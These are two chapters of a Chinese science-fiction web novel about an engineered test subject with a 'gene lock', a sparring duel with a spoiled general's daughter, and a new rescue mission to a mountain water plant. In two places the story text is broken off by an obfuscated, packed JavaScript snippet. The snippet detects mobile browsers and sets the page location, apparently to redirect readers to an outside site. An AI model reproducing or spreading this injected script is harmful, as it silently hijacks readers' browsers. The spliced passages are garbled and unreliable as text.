宣黎阳嘿嘿一笑:“加里医生!你最近忙什么去了?我找你好几次都找不到你。” “还能忙啥?”加里叹了口气,“你们,哦不,他们特种作战部的任务一个接一个,我跟着他们出生入死去了。唉,忙到要死,觉也睡不好,你说这头发它能长得出来吗?” 宣黎阳被他狼狈的样子逗笑了,赶紧切入正题:“知道您最辛苦了,能再帮我个小忙吗?帮我看看我身体有没有变好点?这一个半月我可没闲着,从早干到晚,体力活就没断过!” 加里上下打量了她,点了点头:“行,跟我来检查室,给你做个全身检查。” 加里熟练地将各种生命体征监测贴片连接到宣黎阳身上,数据在屏幕上飞快滚动。他拿着数据板,仔细看着各项指标,眉头却越皱越紧:“奇怪……” 宣黎阳一脸期盼:“怎么样?是不是被我的超神进步吓了一跳?我感觉自己力气都大了点!” 加里抬起头,表情古怪地看着她:“怎么说呢……从数据上看,可以说是,完全没有变化。” “怎么会呢?”宣黎阳不相信,“不会是你的仪器出问题了吧?我这一个半月可不是白干的!” 加里没说话,直接在数据板上调出了宣黎阳刚进入基地那天,在实验室里做的首次全身检查报告。他将两份报告并排放在一起对比。 一模一样。 无论是基础代谢率、肌肉密度、骨骼强度、神经反应速度,还是血液各项指标,两次检测的结果曲线完全重合,连细微的波动都完全一致。 “这……”宣黎阳也愣住了。 19. 美千子 加里不信邪,又换了一台更高级的仪器让她操作。结果再次显示,她的力量峰值、耐力衰减曲线与一个半月前毫无二致。 宣黎阳就算再不懂医学,也明白这绝不可能。尤其是体重,连小数点后两位都没有变化! 她有了一个隐约的猜测:“是因为我是实验体吗?所以我的身体被设定成了无法改进的状态?” 加里的表情变得严肃起来:“不排除这个可能。当时在秘密实验室我只是快速浏览了那些资料,似乎看到过‘基因锁’这个概念。可能天海公司在制造你们这批实验体时,就在基因层面下了功夫,确保纯净载体始终处于稳定状态。” 他看着宣黎阳暗下去的脸色,试图安慰她:“不过往好处想,你的身体也不会变得更坏,对吧?毕竟一切都写在基因里了。” 如果是在之前的世界,宣黎阳可能还会欢呼雀跃一阵,这意味着她无论怎样大吃大喝都不会发胖,这是多少女孩梦寐以求的事情。但现在不同,这里是末世,虚有其表的的漂亮外壳对她来说毫无用处,而且她绝不接受这种被设定好的剧情。 她抬起头,固执地问:“基因锁有破除的可能性吗?” 加里摊开手,无奈地说:“严格来讲,以战前的基因编辑技术或许有可能。那个时代,父母甚至可以像定制商品一样定制自己的孩子。但现在这些技术都失传了,以我们基地现有的医疗水平,根本触及不到这个层面。做梦都不敢这么做。” “那就是说,”宣黎阳抓住了关键,“答案可能还在天海公司的实验室里?或者其他城市废墟里面?” 加里一听,立刻炸毛,像个操碎了心的老父亲:“可别了,我叫你一声祖宗,你给我老实点!就你这副走几步就喘的破身体,我们好不容易把你从神川市带回来,你能不能安分点在基地待着,别总想着往外跑!” 宣黎阳得到了她想要的答案,一边往门外溜,一边火上浇油:“略略略不听不听!反正我要回特种作战部了,我不光要出去,我还要做很多很多任务,赚好多好多贡献点!到时候,我请你去农场餐厅吃最贵的烤肉,植最茂密的头发,让你成为基地里最帅的医生!” “你……你你你!气死我了!”加里的金色大胡子都在抽动,“难道我现在就不是最帅的吗!” 宣黎阳刚跑出检查室就没气了。她慢悠悠晃过训练场,发现那里里三层外三层围了不少人,气氛异常热烈。好奇心驱使下,她凑了过去,踮起脚尖往里看。 训练场中央站着两个人。一个是她许久未见的队长舒彤,对面则是一个穿着崭新作战服的年轻女孩。 那个陌生女孩生得明艳动人,鼻梁高挺,眉羽墨黑,眼尾上挑,看人时眼波流转,带着一种天然的,上位者的审视意味而不自知,像锋利刀刃上反射的光。她微微扬起下巴,毫不掩饰周身散发出的的张扬和骄傲,正与舒彤对峙着。 围观群众忙着窃窃私语,宣黎阳竖起耳朵吃瓜,捕捉到了几句。 “看见没?那个就是川崎将军的独生女,川崎美千子!将军特意送她来我们第11区锻炼的!” “听说她是将军夫人自然生产的,不是人造子宫里孵化出来的!” “难怪呢,自己生养的就是不一样,跟父母感情深。不像我们这些流水线量产的,跟名义上的父母也就是点头之交。” “但这川崎将军和夫人是不是也太娇惯了点?养成这种性格,无法无天的,你看她那样子,脾气一定臭得很!” “就是!一来就挑衅我们区最强的舒队,这不就是给我们下马威吗?” 挑衅?宣黎阳还以为只是普通的比武切磋。 “不过正好,她们打了赌!要是美千子赢了,舒彤就得按照约定,把那个捡来的实验体踢出她的队伍!” “啧,活该!那个弱鸡怎么配拿特种作战部的高贡献点?到时候随便安排个边缘职位养着,都算是基地仁至义尽了。我看食品加工厂的活,她就干得很起劲……” 宣黎阳:“……” 好家伙,吃瓜吃到自己头上了。 她清了清嗓子。前面那两个正埋头说得起劲的人猛地回头,看到是她,吓了一跳,嗓音像公鸡打鸣一样倏然变调。 “哎呀,今天天气真不错!” “就是就是,阳光明媚!” “天文气象部最近真是辛苦了!” 两人一边转移话题,一边脚底抹油,飞快地消失在人群里。看来宣黎阳只凭一个眼神就让德米特里在医院躺了一个月的战绩,已经在基地里传开了。 场中,舒彤与川崎美千子相对而立,两人约定不用武器,只凭拳脚过招。 美千子先发制人,她的动作迅速而标准,拳脚带风,显然是经过专人系统调教,基础扎实。直拳、侧踢、格挡,每一个动作都如同教科书般规范。 舒彤则完全是另一种风格。她不像美千子那样追求招式的完美,而是将数年在生死边缘磨练出的实战经验发挥得淋漓尽致,进攻有虚有实。 她利用训练场内散落的器械作为掩体,移动方向出乎意料,不时以假动作诱骗美千子露出破绽。甚至能预判到美千子因急躁而可能采取的强攻,提前进行防守反击。 不过十几招下来,美千子华丽的攻势就像拳头打在了棉花上,不仅没能取得效果,自己反而因为节奏被完全打乱而显得手足无措,明显落了下风。一开始信心满满的神情逐渐被焦躁所取代。 眼看再这样下去必输无疑,美千子眼中闪过一丝狠色。她虚晃一招,向后小跳半步,紧接着,在众目睽睽之下,凭空消失了! 舒彤正准备格挡的动作意外落空,明显愣了一下,警惕地环顾四周。围观的众人也一片哗然。 眨眼之间,美千子的身影突然再次出现在舒彤的身后!她毫不留情,一记手刀狠狠劈向舒彤的后颈! “小心!”宣黎阳忍不住惊呼出声。 舒彤毕竟经验丰富,在最后关头凭借直觉猛地侧身,但那记手刀还是重重地砍在了她的肩膀。发出一声闷响,舒彤踉跄了一步。 宣黎阳的心紧了一下。 然而,舒彤只是深吸一口气,活动了一下受伤的肩膀,仿佛没事人一样,转身再次拉开架势。 美千子见偷袭未能奠定胜局,脸色更加难看。当舒彤再次将她逼入角落,眼看就要落败时,她故技重施,再次消失不见! 但这一次,围观人群中有人反应了过来,大声叫道: “等等!那是传说中的‘千替4型’!” “什么?千替4型?那个S级义体?居然被第1区找到了?” 旁边有不明所以的人着急追问:“千替4型是什么?” 知情者解释道:“千替4型是著名的S级时停类义体。在使用者眼中周围一切时间会放缓,在外人眼中使用者则能瞬间移动,就像游戏里的闪现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076680|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样!” “居然有这么神奇的东西?这简直是作弊啊!” “唉,真是的,怎么什么好宝贝都被第1区拿走了……” “我们这儿不也有个S级的‘烟烟罗’吗?” “可惜没有合适的S级人选,光有义体有什么用?” 就在这时,一个不和谐的声音插入讨论:“等等,我怎么听说这个川崎美千子好像是A级?并不是S级啊?” 这话一出,周围立刻安静了一秒,随即展开了更激烈的议论。 A级?A级怎么可能兼容S级的义体? 场上的两人对围观群众的议论充耳不闻。美千子已经连续三次调用“千替4型”,却依旧没能击败舒彤。眼看她脸上戾气再现,似乎要第四次强行调用S级义体时,一个宣黎阳十分熟悉的黏腻声音响起了: “大小姐,知道你得了件好宝贝,急于展示。但是这‘千替4型’,今天已经用了三次了吧?” 安全官贾哈·霍尔慢悠悠地从人群中踱步而出。他今天似乎特意打理过自己,金发梳得一丝不苟,制服笔挺,风度翩翩。 “再用下去,你可就要面临赛博精神病的风险了,到时候我们第11区跟川崎将军可没法交代。” 美千子动作一僵,不服气地哼了一声,但还是依言停手。 舒彤平复了一下呼吸,沉着地说道:“你输了。按照约定,宣黎阳会继续留在我的小队。” 美千子狠狠瞪了舒彤一眼,转身就走。霍尔立刻像块牛皮糖似的跟了上去,声音不高不低,恰好能让周围人听见:“大小姐,走慢点,小心脚下!我们第11区路况复杂,要是磕着碰着了,您父亲怪罪下来,我这安全官可是难辞其咎啊!” 围观人群见热闹结束,也各自四散开来,只留下宣黎阳还站在原地。美千子怒气冲冲地经过,瞥见她的脸,明显愣了一下,显然是认出了她。 对外还是要做做样子的。宣黎阳主动伸出手打招呼:“你好,看来我们以后是队友了。” “就你?谁要跟你当队友啊!”美千子一把拍开她的手。 霍尔也晃了过来,眼神落在宣黎阳身上:“啊,是宣黎阳啊!听说让你打扫蛋白质区的处罚已经结束了?感觉怎么样,还吃得下饭吗?” 宣黎阳扯出一个大大的微笑,阴阳怪气地回应:“托您的福,最近胃口特别好,吃饭倍儿香!” 霍尔眉毛一挑,故作惊讶:“是嘛?可我怎么听食品加工厂的负责人抱怨,说美洲大蠊的产量比往常下降了不少呢?该不会是……你打扫的时候顺手清理掉了吧?” 一旁的美千子露出困惑和嫌恶交织的表情。她看看宣黎阳,又看看霍尔:“美洲大蠊?食品?你们在说什么东西?” 她突然反应过来,难以置信地瞪大了眼睛,声音猛地拔高:“你们居然吃虫子?” 宣黎阳面不改色,开始信口胡诌:“哦,可能是它们最近心情不太好,毕竟我总是奉命去打扰它们,搞得它们心神不宁,都没有心思繁衍后代了。” 霍尔闻言,露出意味深长的笑容:“是吗?这种情况,我觉得……” “好了,别说这么恶心的话题了!”美千子忽然开口,打断了霍尔不怀好意的话,“我们小队急着要出任务呢!霍尔,你也别跟着我了,我自己知道路!” 霍尔一顿,从善如流地微微躬身:“遵命,大小姐。祝你们任务顺利。” 20. 碧云净水厂 宣黎阳在训练场边又等了一会儿,直到围观人群彻底散尽,才走向正在放松筋骨的舒彤。 “队长,肩膀没事吧?”她指了指舒彤刚才被美千子手刀劈中的地方。 舒彤摇摇头,表情平静:“有点酸而已,都是小事。” 她看向宣黎阳:“倒是你,基因锁的事,加里医生刚跟我说了,叫我拦着点你。” 宣黎阳抿了抿唇:“我不甘心,我就不信破不了。队长,我想找机会回去天海公司的实验室看看。” 舒彤沉默片刻,拍了拍她的肩:“先专注眼前。我们现在回特种作战部了,外勤任务不会轻松。体能的问题……暂时用战术和义体能力弥补。不用担心,我们其他人也会多关照你的。其他的,之后慢慢想办法。” “我知道,谢谢队长。”宣黎阳深吸一口气,换了个话题,“那个川崎美千子……” “川崎将军的女儿,因为是A级中的顶级,能勉强用S级义体。”舒彤语气淡淡,明明才被美千子偷袭,却对她没什么意见,“她父亲送她来,既是为了历练,恐怕也有其他考量。第1区突然插手调我们回去,没那么简单。” “你觉得是冲着什么来的?” “不清楚,说不定是冲着你来的呢?”舒彤随口开了个玩笑,又看了眼时间,“先回宿舍吧。晚点应该就会有新任务简报。记住,在队里,她现在是队友,该配合配合。该管教的时候,我也不会客气。” 两人简短交谈后分开。舒彤去了指挥部,宣黎阳则独自返回居住区。 穿过中央广场时,她远远看见几个穿着后勤部橙色制服的人,正将几个巨大的精美行李箱搬上升降梯。箱子材质高级,与基地粗粝实用的画风格格不入。升降梯门关闭,向上层而去。 宣黎阳好奇地跟上去。她还没走到C-17宿舍门口,就听见里面传来毫不掩饰的吵闹声。 “……这地方也太差劲了!空间这么小,住六个人,这是人住的地方吗?” 是美千子的声音。 “没有阳台!没有壁纸!没有地毯!……” “……没有沙发!没有浴缸!” “美千子小姐,请你体谅我们第11区的条件。何况,川崎将军特意嘱咐了琼指挥官,不能给你特殊待遇,要‘深入群众’。所以……还请大小姐多担待。” 这竟然是霍尔的声音,他到底还是跟来了。 美千子像是根本没听见他的话,继续连珠炮似的发脾气:“没有床垫!没有鹅绒被!没有衣帽间!……” “……没有床头柜!没有梳妆台!” 宣黎阳正准备推门进去,门却突然从里面拉开了。霍尔正巧要出来,两人在门口打了个照面。 霍尔看见她,脸上立刻浮现出熟悉的微笑,压低声音,用只有宣黎阳能听清的音量说:“你的新队友……希望你们,好好相处。” 宣黎阳回敬了他一个干脆的白眼,侧身从他旁边挤过,直接进了宿舍。 小小的宿舍此刻因为堆满了美千子带来的箱子而显得更加拥挤。四个后勤部员工正在美千子的指挥下忙得团团转,有的在擦拭本就不多的家具,有的在试图将那些过于庞大的箱子挪到不碍事的角落。扬起的灰尘在灯光下飞舞。 美千子正坐在房间里唯二的木制椅子中的一把上,翘起二郎腿。那椅子上还铺了一张毛绒小垫子,榫卯结构的椅子年久失修,在她身下发出疲惫的“吱呀”声。她手中拿着数据板,似乎在核对什么清单,对后勤人员的忙碌只是偶尔抬一下眼皮,发出颐指气使的命令。 见有人进来,她懒洋洋地撇了一眼,发现是宣黎阳,立刻转回目光,继续对着数据板皱起眉头,非常刻意地装作没看见。 宣黎阳也满不在乎。对她来说,只要小队能顺利回到特种作战部、正常出外勤任务,不管这位大小姐有多难伺候,她都可以忍下。 她艰难地从堆满过道的箱子缝隙间挤过,准备到自己床铺上拿点东西。一个后勤人员正按照美千子的指示,试图将一件看起来就价值不菲的高级作战服塞进已经满满当当的铁皮柜里。 宣黎阳出于好心,提醒了一句:“在这里用不上这么多衣服,特种作战部出任务会统一发放作战服。” 她又指了指自己身上的灰色基地制服:“日常在基地内,也是穿部门颜色对应的制服。” 美千子从鼻子里哼了一声,没接话,也没看她,只是对那个拿衣服的员工不耐烦地说:“轻点,那件不能折,想办法挂起来!看来我还得定制一个新的衣柜了!” 宣黎阳见状,也懒得再多说。她走到最里面自己的架子床前,刚想往上铺爬,却见美千子突然像被针扎了一样从椅子上跳了起来,手指直直指向她的床铺。 “这是你的床?” 宣黎阳一只脚踩在床梯上,回头,满脸问号:“对啊,怎么了?” “那我要换一个!”美千子对着空气大声宣布。 她一把抓起之前堆在宣黎阳下铺空床上的垂耳兔抱枕,环顾四周,迅速锁定了离宣黎阳最远的、靠近门边的那个床位。 那个下铺显然已经有人用了,床单平整,枕头被子叠放整齐,床头还放着一本边角卷起的旧书。美千子却不管不顾,抱着抱枕径直走过去,伸手就要将床上的原有物品扫开。 “那是舒队的床。”宣黎阳冷冷地提醒。 美千子的动作瞬间僵住。 她显然还记得刚才在训练场上的事,毕竟肌肉到现在还隐隐作痛。 犹豫了几秒,她悻悻地收回手,转向中间那张床的下铺。那张床看起来更加毫无装饰,只在床下堆着杠铃、弹力绳、泡沫轴和两大桶蛋白粉。 “那是施蓝的床。”宣黎阳继续面无表情地提醒,“你应该还没见过她,但我劝你别这么干。” “她一个能顶你三个,一巴掌能把你拍扁。” 虽然施蓝不可能对队友动手,但眼前这位大小姐又不知道。 美千子脸上闪过一丝哀怨。她不想跟宣黎阳挨着睡上下铺。可眼下,剩余的空床位只剩下舒彤上铺的那个了。 睡上铺? 她瞟了眼锈迹斑斑的梯子,又低头看了看脚下已经铺了一半的精美羊毛地毯,陷入了纠结。 宣黎阳下了床,最后看了眼一脸挣扎的美千子,耸了耸肩,径直转身离开了。 食堂里,施蓝和卡拉已经帮她打好了饭。今天是黄色的板栗味果冻。宣黎阳在她们对面坐下,拿起勺子。 “怎么样?见到我们尊贵的新队友了?”卡拉眼睛立刻亮了起来,“听说她直接带着几大箱行李杀到宿舍了?” “何止。”宣黎阳舀了一勺果冻塞进嘴里,“我刚回去的时候,她正对着咱们宿舍嫌这嫌那,霍尔还在旁边看热闹。” “哇,这么夸张?后来呢?你没跟她吵起来吧?” “哪有,大小姐连话都不想跟我说一句,她还想占别人的下铺。” 一直埋头吃饭的施蓝开口:“她要想跟我换也是可以的。我睡哪里都一样。” 卡拉立刻不赞同地拍了施蓝一巴掌:“不许换!先来后到的规矩,她要是不懂,我们可以教教她。” 宣黎阳被卡拉的表情逗得笑出声:“没错!如果她能好好说话,我倒是也可以换到舒彤的上铺。我就是想看她吃瘪的表情。” 卡拉指着她们俩数落了一通:“你们俩就是太好脾气了!难怪走到哪里都被人欺负!” 宣黎阳纠正道:“我这明明叫明哲保身!我这么菜,论拳脚,论背景,我都敌不过她。要是像德米特里那样让她进医疗部躺一个月,只怕我要被川崎将军赶出基地了。” 吃完饭,三人本还想在基地里四处逛逛消食,却被舒彤发来的通讯叫回了宿舍。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091121|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 推开门,一股与往日截然不同的清新气息扑面而来,宿舍简直大变样。 常年积累的灰尘、碎屑和头发消失无踪,墙壁和地板的瓷砖被擦拭得锃光瓦亮,床架接缝处看不到半点锈迹,连卫生间顽固的水垢都被彻底清理过了。 最引人注目的,是宣黎阳的下铺。 看来美千子经过一番挣扎,最终还是投降了,选择了宣黎阳的下铺。那个原本光秃秃的床板已然焕然一新。 米白色羊毛地毯铺得平整服帖,边缘还用小巧的金属扣固定在了地上。蓬松的鹅绒被叠得整齐,床头堆着四五个不同形状的抱枕。小巧的折叠式床头柜被立在床边,上面摆着一盏暖光小夜灯。 宣黎阳眨了眨眼,随即绽放出极其夸张的惊喜表情,一个箭步冲上前,在美千子还没反应过来时,一把握住了对方的手,用力上下摇晃,语气充满了浮夸的感激: “太感谢了!我们宿舍从来没有这么干净过!你为什么没有早点来!你要是早点来,我们就不用在垃圾堆里睡这么久了!” 卡拉见状,立刻心领神会,也凑上前,抓住美千子另一只手:“就是就是!你看这地擦得,光可鉴人!这空气,竟然还点了香薰精油,闻着就能长命百岁!大小姐你太厉害了,一来就给我们改善了居住环境!” 美千子被这突如其来的热情搞得莫名其妙。 过了好半天,她才后知后觉地反应过来,猛地用力甩开,后退两步,脸上红一阵白一阵。 她瞪着眼睛:“干什么!你们从外面回来洗手消毒了吗,上来就碰我!还有,进门前先脱鞋,脱鞋!鞋柜在那边,别弄脏了刚拖好的地板!” “好了,闹够了吧?”舒彤的声音及时响起,制止了这场闹剧。她站在门边,手里拿着一个数据板。 “任务简报来了。” 众人立刻停下动作,宿舍里瞬间安静下来,目光都集中到舒彤身上。 舒彤调出全息地图投影,光束在空中勾勒出基地及周边的地形。 “明天一早出发。这次的外勤任务地点是基地西北方向120公里外,海拔4500米的碧云净水厂。” 她放大那片山区的地形图,一个位于半山腰的地点被高亮显示:“碧云峰最高海拔6200米,山顶终年积雪。山上的融雪会流入半山腰的高山湖,湖水经过碧云净水厂净化后,通过地下管道供给到基地,是我们第11区的主要饮用水来源之一。” 舒彤的表情严肃起来:“三天前,后勤支援部派遣了三名维修人员,前往碧云净水厂进行例行维护,原计划当天返回。但就在他们出发后不久,山上突发暴风雪,通讯受到强烈干扰。维修小组与基地失去联系,至今未归。” 她环视队员们:“我们的任务是携带急救物资和保温设备,沿维修小组原先的路线前往碧云净水厂,搜寻并接应他们返回基地。首要目标是人员安全,其次评估净水厂设备状况,若条件允许,尝试完成维护工作。” 美千子抱着手臂,语气带着明显的不忿:“这任务也太简单了吧?不就是找人加维修设备吗?让后勤部再派两个人去不就行了!哪还用得着我们出马!” 舒彤没有回应美千子的质疑,而是继续强调: “这是我们炫风小队重新组队后的第一次任务。我不希望有任何意外。希望大家好好配合,团结协作,不要搞小动作。” 她的目光特意在刚才闹得最欢的卡拉和宣黎阳脸上停留了一秒钟,随后收起数据板:“现在,各自检查个人装备,特别是御寒和通讯设备。任务所需公共物资清单我已经发到小队频道,施蓝、卡拉,你们负责领取和分装。” “解散。” 就在大家准备转身忙碌时,舒彤有些凝重的声音在宿舍里响起:“大家今晚早点休息,养精蓄锐。” “这次任务,只怕没有听起来那么简单。”